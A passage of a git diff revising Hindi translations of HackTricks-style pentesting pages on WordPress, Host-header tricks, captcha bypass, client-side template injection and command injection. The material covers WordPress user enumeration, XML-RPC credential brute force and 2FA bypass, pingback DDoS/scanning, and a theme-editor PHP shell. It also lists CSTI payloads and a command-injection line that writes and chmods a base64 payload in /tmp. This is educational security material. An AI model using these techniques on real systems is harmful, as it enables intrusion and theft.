तंत्र के रूप में। इस प्रकार की संचार को वर्डप्रेस [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है। - `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ प्लगइन्स और थीम संग्रहीत होते हैं। - `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइल संग्रहीत होती है। - `wp-includes/` यह वह निर्देशिका है जहाँ कोर फ़ाइलें संग्रहीत होती हैं, जैसे कि प्रमाणपत्र, फ़ॉन्ट, जावास्क्रिप्ट फ़ाइलें, और विजेट। -- `wp-sitemap.xml` WordPress संस्करण 5.5 और उससे अधिक में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकारों और वर्गीकरणों के साथ एक साइटमैप XML फ़ाइल उत्पन्न करता है। +- `wp-sitemap.xml` वर्डप्रेस संस्करण 5.5 और उससे अधिक में, वर्डप्रेस सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकारों और वर्गीकरणों के साथ एक साइटमैप XML फ़ाइल उत्पन्न करता है। **Post exploitation** -- `wp-config.php` फ़ाइल में डेटाबेस से कनेक्ट करने के लिए WordPress द्वारा आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है। +- `wp-config.php` फ़ाइल में वर्डप्रेस द्वारा डेटाबेस से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है। ### Users Permissions @@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### प्लगइन्स और थीम -आप शायद सभी संभावित प्लगइन्स और थीम नहीं ढूंढ पाएंगे। सभी को खोजने के लिए, आपको **प्लगइन्स और थीम की सूची पर सक्रिय रूप से ब्रूट फोर्स करना होगा** (हमारे लिए उम्मीद है कि इस सूची को शामिल करने वाले स्वचालित उपकरण हैं)। +आप शायद सभी संभावित प्लगइन्स और थीम नहीं ढूंढ पाएंगे। उन्हें खोजने के लिए, आपको **प्लगइन्स और थीम की सूची पर सक्रिय रूप से ब्रूट फोर्स करना होगा** (हमारे लिए उम्मीद है कि इस सूची को शामिल करने वाले स्वचालित उपकरण हैं)। ### उपयोगकर्ता @@ -95,7 +95,7 @@ curl -s -I -X GET http://blog.example.com/?author=1 ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -एक और `/wp-json/` एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है वह है: +एक और `/wp-json/` एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` @@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **क्रेडेंशियल्स ब्रूटफोर्स** -**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी ढूंढ सकते हैं, तो आप कुछ इस तरह भेज सकते हैं: +**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी खोज सकते हैं, तो आप कुछ इस तरह भेज सकते हैं: ```markup wp.getUsersBlogs @@ -132,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -संदेश _"Incorrect username or password"_ एक 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते। +संदेश _"Incorrect username or password"_ 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते। ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) @@ -174,12 +174,12 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **2FA को बायपास करें** -यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं है, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है। +यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करते हुए लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec इसे [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाता है। **DDoS या पोर्ट स्कैनिंग** -यदि आप सूची के अंदर _**pingback.ping**_ विधि पा सकते हैं, तो आप वर्डप्रेस को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए बना सकते हैं।\ -इसका उपयोग **हजारों** वर्डप्रेस **साइटों** से **एक स्थान** (तो उस स्थान पर **DDoS** का कारण बनता है) तक **पहुँचने** के लिए किया जा सकता है या आप इसका उपयोग **Wordpress** को कुछ आंतरिक **नेटवर्क** को **स्कैन** करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)। +यदि आप सूची के अंदर _**pingback.ping**_ विधि पा सकते हैं, तो आप वर्डप्रेस को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए कह सकते हैं।\ +इसका उपयोग **हजारों** वर्डप्रेस **साइटों** को एक **स्थान** (तो उस स्थान पर **DDoS** का कारण बनता है) तक **पहुँचने** के लिए करने के लिए किया जा सकता है या आप इसका उपयोग **Wordpress** को कुछ आंतरिक **नेटवर्क** को **स्कैन** करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)। ```markup pingback.ping @@ -219,13 +219,15 @@ Wp-Cron को अक्षम करना और होस्ट के अं _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने का प्रयास करें और Worpress साइट आपसे अनुरोध कर सकती है। -जब यह काम नहीं करता है तो यह प्रतिक्रिया है: +जब यह काम नहीं करता है तो यह प्रतिक्रिया होती है: ![](<../../images/image (365).png>) ## SSRF -{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} +{{#ref}} +https://github.com/t0gu/quickpress/blob/master/core/requests.go +{{#endref}} यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** है और यदि यह मौजूद है, तो यह उन्हें शोषण करने का प्रयास करता है। @@ -237,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## एक बिट को ओवरराइट करके एक्सेस प्राप्त करें -यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट को पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को पलट सकते थे ताकि NOT (`!`) ऑपरेशन को NOP किया जा सके। +यह वास्तव में एक हमला नहीं है, बल्कि एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट को पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को NOP (`!`) ऑपरेशन के लिए पलट सकते थे। ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -246,7 +248,7 @@ return new WP_Error( **थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता है)** -दृश्यता → थीम संपादक → 404 टेम्पलेट (दाईं ओर) +दृश्य → थीम संपादक → 404 टेम्पलेट (दाईं ओर) एक php शेल के लिए सामग्री बदलें: @@ -346,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **`nopriv` का उपयोग किसी भी उपयोगकर्ताओं (यहां तक कि अनधिकृत लोगों) द्वारा एंडपॉइंट को सुलभ बनाता है।** > [!CAUTION] -> इसके अलावा, यदि फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन के साथ उपयोगकर्ता के प्राधिकरण की जांच कर रहा है, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है। +> इसके अलावा, यदि फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन के साथ उपयोगकर्ता की प्राधिकरण की जांच कर रहा है, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है। - **REST API** @@ -388,7 +390,7 @@ add_filter( 'auto_update_theme', '__return_true' ); ### **अन्य सिफारिशें** -- डिफ़ॉल्ट **admin** उपयोगकर्ता को हटा दें +- डिफ़ॉल्ट **admin** उपयोगकर्ता को हटाएं - **मजबूत पासवर्ड** और **2FA** का उपयोग करें - समय-समय पर **उपयोगकर्ताओं** की **अनुमतियों** की **समीक्षा** करें - Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों** की संख्या सीमित करें diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index 4b7dbe90a..b1825f5e7 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -2,19 +2,17 @@ {{#include ./banners/hacktricks-training.md}} - ### होस्ट हेडर -कई बार बैक-एंड **होस्ट हेडर** पर कुछ क्रियाएँ करने के लिए भरोसा करता है। उदाहरण के लिए, यह इसके मान का उपयोग **पासवर्ड रीसेट भेजने के लिए डोमेन के रूप में** कर सकता है। इसलिए जब आपको पासवर्ड रीसेट के लिए लिंक के साथ एक ईमेल प्राप्त होता है, तो उपयोग किया जाने वाला डोमेन वही होता है जो आपने होस्ट हेडर में डाला है। फिर, आप अन्य उपयोगकर्ताओं के पासवर्ड रीसेट का अनुरोध कर सकते हैं और डोमेन को अपने द्वारा नियंत्रित एक में बदल सकते हैं ताकि उनके पासवर्ड रीसेट कोड चुरा सकें। [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +कई बार बैक-एंड **होस्ट हेडर** पर कुछ क्रियाएँ करने के लिए भरोसा करता है। उदाहरण के लिए, यह इसके मान का उपयोग **पासवर्ड रीसेट भेजने के लिए डोमेन के रूप में** कर सकता है। इसलिए जब आप पासवर्ड रीसेट के लिए लिंक के साथ एक ईमेल प्राप्त करते हैं, तो उपयोग किया जाने वाला डोमेन वही होता है जो आपने होस्ट हेडर में डाला है। फिर, आप अन्य उपयोगकर्ताओं के पासवर्ड रीसेट का अनुरोध कर सकते हैं और डोमेन को अपने द्वारा नियंत्रित एक में बदल सकते हैं ताकि उनके पासवर्ड रीसेट कोड चुरा सकें। [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). > [!WARNING] -> ध्यान दें कि यह संभव है कि आपको टोकन प्राप्त करने के लिए उपयोगकर्ता के पासवर्ड रीसेट लिंक पर क्लिक करने का इंतजार करने की आवश्यकता नहीं है, क्योंकि शायद **स्पैम फ़िल्टर या अन्य मध्यवर्ती उपकरण/बॉट इसे विश्लेषण करने के लिए क्लिक करेंगे**। - +> ध्यान दें कि यह संभव है कि आपको टोकन प्राप्त करने के लिए उपयोगकर्ता के पासवर्ड रीसेट लिंक पर क्लिक करने का इंतजार भी नहीं करना पड़े, क्योंकि शायद **स्पैम फ़िल्टर या अन्य मध्यवर्ती उपकरण/बॉट इसे विश्लेषण करने के लिए क्लिक करेंगे**। ### सत्र बूलियन -कुछ समय जब आप कुछ सत्यापन को सही ढंग से पूरा करते हैं, तो बैक-एंड **बस आपके सत्र के सुरक्षा विशेषता में "True" मान के साथ एक बूलियन जोड़ता है**। फिर, एक अलग एंडपॉइंट जानता है कि क्या आपने उस जांच को सफलतापूर्वक पास किया।\ -हालांकि, यदि आप **जांच पास करते हैं** और आपके सत्र को सुरक्षा विशेषता में "True" मान दिया जाता है, तो आप **अन्य संसाधनों तक पहुँचने की कोशिश कर सकते हैं** जो **उसी विशेषता पर निर्भर करते हैं** लेकिन जिन तक आपकी **अनुमति नहीं होनी चाहिए**। [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +कुछ समय जब आप कुछ सत्यापन को सही ढंग से पूरा करते हैं, तो बैक-एंड **बस आपके सत्र के सुरक्षा विशेषता में "True" मान के साथ एक बूलियन जोड़ देगा**। फिर, एक अलग एंडपॉइंट जान जाएगा कि आपने उस जांच को सफलतापूर्वक पास किया।\ +हालांकि, यदि आप **जांच पास करते हैं** और आपके सत्र को सुरक्षा विशेषता में "True" मान दिया जाता है, तो आप **अन्य संसाधनों तक पहुँचने की कोशिश कर सकते हैं** जो **उसी विशेषता पर निर्भर करते हैं** लेकिन जिन तक आपको **पहुँचने की अनुमति नहीं होनी चाहिए**। [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). ### पंजीकरण कार्यक्षमता @@ -22,17 +20,18 @@ ### ईमेल अधिग्रहण -एक ईमेल पंजीकरण करें, इसे पुष्टि करने से पहले ईमेल बदलें, फिर, यदि नया पुष्टि ईमेल पहले पंजीकृत ईमेल पर भेजा जाता है, तो आप किसी भी ईमेल का अधिग्रहण कर सकते हैं। या यदि आप पहले वाले को पुष्टि करने के लिए दूसरे ईमेल को सक्षम कर सकते हैं, तो आप किसी भी खाते का भी अधिग्रहण कर सकते हैं। +एक ईमेल पंजीकृत करें, इसे पुष्टि करने से पहले ईमेल बदलें, फिर, यदि नया पुष्टि ईमेल पहले पंजीकृत ईमेल पर भेजा जाता है, तो आप किसी भी ईमेल का अधिग्रहण कर सकते हैं। या यदि आप पहले वाले को पुष्टि करने वाले दूसरे ईमेल को सक्षम कर सकते हैं, तो आप किसी भी खाते का भी अधिग्रहण कर सकते हैं। -### कंपनियों के आंतरिक सर्विसडेस्क तक पहुँचें जो एटलसियन का उपयोग कर रहे हैं +### कंपनियों के आंतरिक सर्विसडेस्क तक पहुँचें जो एटलसियन का उपयोग कर रही हैं -{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} +{{#ref}} +https://yourcompanyname.atlassian.net/servicedesk/customer/user/login +{{#endref}} ### TRACE विधि -डेवलपर्स उत्पादन वातावरण में विभिन्न डिबगिंग विकल्पों को बंद करना भूल सकते हैं। उदाहरण के लिए, HTTP `TRACE` विधि का उपयोग निदान उद्देश्यों के लिए किया जाता है। यदि सक्षम है, तो वेब सर्वर `TRACE` विधि का उपयोग करने वाले अनुरोधों का उत्तर देगा, जो प्राप्त अनुरोध को प्रतिक्रिया में प्रतिध्वनित करेगा। यह व्यवहार अक्सर हानिरहित होता है, लेकिन कभी-कभी जानकारी के खुलासे का कारण बनता है, जैसे कि आंतरिक प्रमाणीकरण हेडर का नाम जो रिवर्स प्रॉक्सी द्वारा अनुरोधों में जोड़ा जा सकता है।![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +डेवलपर्स उत्पादन वातावरण में विभिन्न डिबगिंग विकल्पों को बंद करना भूल सकते हैं। उदाहरण के लिए, HTTP `TRACE` विधि का उपयोग निदान उद्देश्यों के लिए किया जाता है। यदि सक्षम है, तो वेब सर्वर `TRACE` विधि का उपयोग करने वाले अनुरोधों का उत्तर देगा, जो प्रतिक्रिया में प्राप्त अनुरोध को ठीक से दर्शाता है। यह व्यवहार अक्सर हानिरहित होता है, लेकिन कभी-कभी जानकारी के खुलासे की ओर ले जाता है, जैसे कि आंतरिक प्रमाणीकरण हेडर का नाम जो अनुरोधों में रिवर्स प्रॉक्सी द्वारा जोड़ा जा सकता है।![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) - {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md index 6b1ae3475..8c6d630e3 100644 --- a/src/pentesting-web/captcha-bypass.md +++ b/src/pentesting-web/captcha-bypass.md @@ -18,7 +18,7 @@ Captcha को **बायपास** करने के लिए **सर् - **गणितीय कैप्चा**: यदि कैप्चा में गणितीय संचालन शामिल हैं, तो गणना प्रक्रिया को स्वचालित करें। - **छवि पहचान**: - उन कैप्चा के लिए जो छवि से वर्ण पढ़ने की आवश्यकता होती है, मैन्युअल या प्रोग्रामेटिक रूप से अद्वितीय छवियों की कुल संख्या निर्धारित करें। यदि सेट सीमित है, तो आप प्रत्येक छवि को इसके MD5 हैश द्वारा पहचान सकते हैं। -- छवियों से वर्ण पढ़ने के लिए [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) जैसे ऑप्टिकल कैरेक्टर रिकॉग्निशन (OCR) उपकरणों का उपयोग करें। +- छवियों से वर्ण पढ़ने के लिए [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) जैसे ऑप्टिकल कैरेक्टर रिकग्निशन (OCR) उपकरणों का उपयोग करें। 4. **अतिरिक्त तकनीकें**: - **रेट लिमिट परीक्षण**: जांचें कि क्या एप्लिकेशन एक निश्चित समय सीमा में प्रयासों या प्रस्तुतियों की संख्या को सीमित करता है और क्या इस सीमा को बायपास या रीसेट किया जा सकता है। - **थर्ड-पार्टी सेवाएँ**: स्वचालित कैप्चा पहचान और समाधान प्रदान करने वाली कैप्चा-समाधान सेवाओं या APIs का उपयोग करें। @@ -32,6 +32,8 @@ Captcha को **बायपास** करने के लिए **सर् [**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) एक AI-संचालित सेवा है जो विभिन्न प्रकार के कैप्चा को स्वचालित रूप से हल करने में विशेषज्ञता रखती है, डेटा संग्रह को सशक्त बनाती है और डेवलपर्स को वेब स्क्रैपिंग के दौरान कैप्चा चुनौतियों को आसानी से पार करने में मदद करती है। यह **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, और Cloudflare turnstile among others** जैसे कैप्चा का समर्थन करता है। डेवलपर्स के लिए, Capsolver API एकीकरण विकल्प प्रदान करता है जो [**documentation**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)** में विस्तृत है,** जो अनुप्रयोगों में कैप्चा समाधान को एकीकृत करने की सुविधा प्रदान करता है। वे [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) और [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/) के लिए ब्राउज़र एक्सटेंशन भी प्रदान करते हैं, जिससे उनके सेवा का उपयोग सीधे ब्राउज़र में करना आसान हो जाता है। विभिन्न मूल्य निर्धारण पैकेज उपलब्ध हैं ताकि विभिन्न आवश्यकताओं को पूरा किया जा सके, उपयोगकर्ताओं के लिए लचीलापन सुनिश्चित किया जा सके। -{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %} +{{#ref}} +https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index a87a8a628..d338d5dc8 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -6,11 +6,11 @@ यह [**Server Side Template Injection**](ssti-server-side-template-injection/) की तरह है लेकिन **client** में। **SSTI** आपको **remote server** पर **code** **execute** करने की अनुमति दे सकता है, **CSTI** आपको **victim's browser** में **arbitrary JavaScript** कोड **execute** करने की अनुमति दे सकता है। -इस कमजोरियों के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **a template** की अपेक्षा करता है और इसे **execute** करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल: `{{ 7-7 }}` देखेंगे। +इस सुरक्षा कमजोरी के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **a template** की अपेक्षा करता है और इसे **execute** करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल: `{{ 7-7 }}` देखेंगे। ## AngularJS -AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है जिसे directives कहा जाता है, एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके। +AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है, जिसमें एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके। ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग किए गए HTML body में गतिशील रूप से डाला जाता है, यह arbitrary JavaScript कोड को execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि JavaScript कोड कैसे execute किया जा सकता है: ```javascript @@ -23,8 +23,7 @@ AngularJS एक व्यापक रूप से उपयोग किय ``` आप इस **बुनियादी ऑनलाइन उदाहरण** को **AngularJS** में इस लिंक पर पा सकते हैं [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) और [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) में -> [!CAUTION] -> [**Angular 1.6 ने सैंडबॉक्स हटा दिया**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) इसलिए इस संस्करण से एक पेलोड जैसे `{{constructor.constructor('alert(1)')()}}` या `` काम करना चाहिए। +> [!CAUTION] > [**Angular 1.6 ने सैंडबॉक्स हटा दिया**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) इसलिए इस संस्करण से एक पेलोड जैसे `{{constructor.constructor('alert(1)')()}}` या `` काम करना चाहिए। ## VueJS @@ -36,7 +35,7 @@ AngularJS एक व्यापक रूप से उपयोग किय ">
aaa
``` -CSTI पर VUE में एक वास्तव में अच्छा पोस्ट [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पर पाया जा सकता है। +एक वास्तव में अच्छा पोस्ट CSTI पर VUE में [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पाया जा सकता है ### **V3** ``` @@ -48,7 +47,7 @@ CSTI पर VUE में एक वास्तव में अच्छा ``` {{constructor.constructor('alert(1)')()}} ``` -श्रेय: [Mario Heiderich](https://twitter.com/cure53berlin) +क्रेडिट: [Mario Heiderich](https://twitter.com/cure53berlin) **अधिक VUE पेलोड्स देखें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) @@ -72,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images ## **ब्रूट-फोर्स डिटेक्शन लिस्ट** -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} - +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index ffa62cee3..023a23310 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,14 +2,13 @@ {{#include ../banners/hacktricks-training.md}} - ## What is command Injection? -एक **command injection** हमलावर को एक एप्लिकेशन को होस्ट करने वाले सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स को निष्पादित करने की अनुमति देता है। इसके परिणामस्वरूप, एप्लिकेशन और इसके सभी डेटा पूरी तरह से समझौता किया जा सकता है। इन कमांड्स के निष्पादन से आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित प्रणाली पर अनधिकृत पहुंच या नियंत्रण प्राप्त होता है। +एक **command injection** एक हमलावर को एक एप्लिकेशन को होस्ट करने वाले सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स को निष्पादित करने की अनुमति देता है। इसके परिणामस्वरूप, एप्लिकेशन और इसके सभी डेटा पूरी तरह से समझौता किए जा सकते हैं। इन कमांड्स का निष्पादन आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित प्रणाली पर अनधिकृत पहुंच या नियंत्रण प्राप्त करने की अनुमति देता है। ### Context -**जहां आपका इनपुट इंजेक्ट किया जा रहा है** उसके आधार पर, आपको **उद्धृत संदर्भ को समाप्त करने** की आवश्यकता हो सकती है ( `"` या `'` का उपयोग करके) कमांड्स से पहले। +**जहां आपका इनपुट इंजेक्ट किया जा रहा है** उसके आधार पर, आपको **उद्धृत संदर्भ को समाप्त** करने की आवश्यकता हो सकती है ( `"` या `'` का उपयोग करके) कमांड्स से पहले। ## Command Injection/Execution ```bash @@ -32,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **सीमाएँ** बायपास -यदि आप **लिनक्स मशीन के अंदर मनमाने कमांड्स को निष्पादित करने** की कोशिश कर रहे हैं, तो आप इस **बायपास के बारे में पढ़ने में रुचि रखेंगे:** +यदि आप **लिनक्स मशीन के अंदर मनमाने कमांड्स को निष्पादित करने** की कोशिश कर रहे हैं, तो आप इस **बायपास के बारे में पढ़ने में रुचि रखते होंगे:** {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -46,7 +45,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parameters -यहाँ शीर्ष 25 पैरामीटर हैं जो कोड इंजेक्शन और समान RCE कमजोरियों के लिए संवेदनशील हो सकते हैं (से [link](https://twitter.com/trbughunters/status/1283133356922884096)): +यहाँ 25 शीर्ष पैरामीटर हैं जो कोड इंजेक्शन और समान RCE कमजोरियों के लिए संवेदनशील हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -88,7 +87,7 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS आधारित डेटा निकासी +### DNS आधारित डेटा एक्सफिल्ट्रेशन `https://github.com/HoLyVieR/dnsbin` से उपकरण के 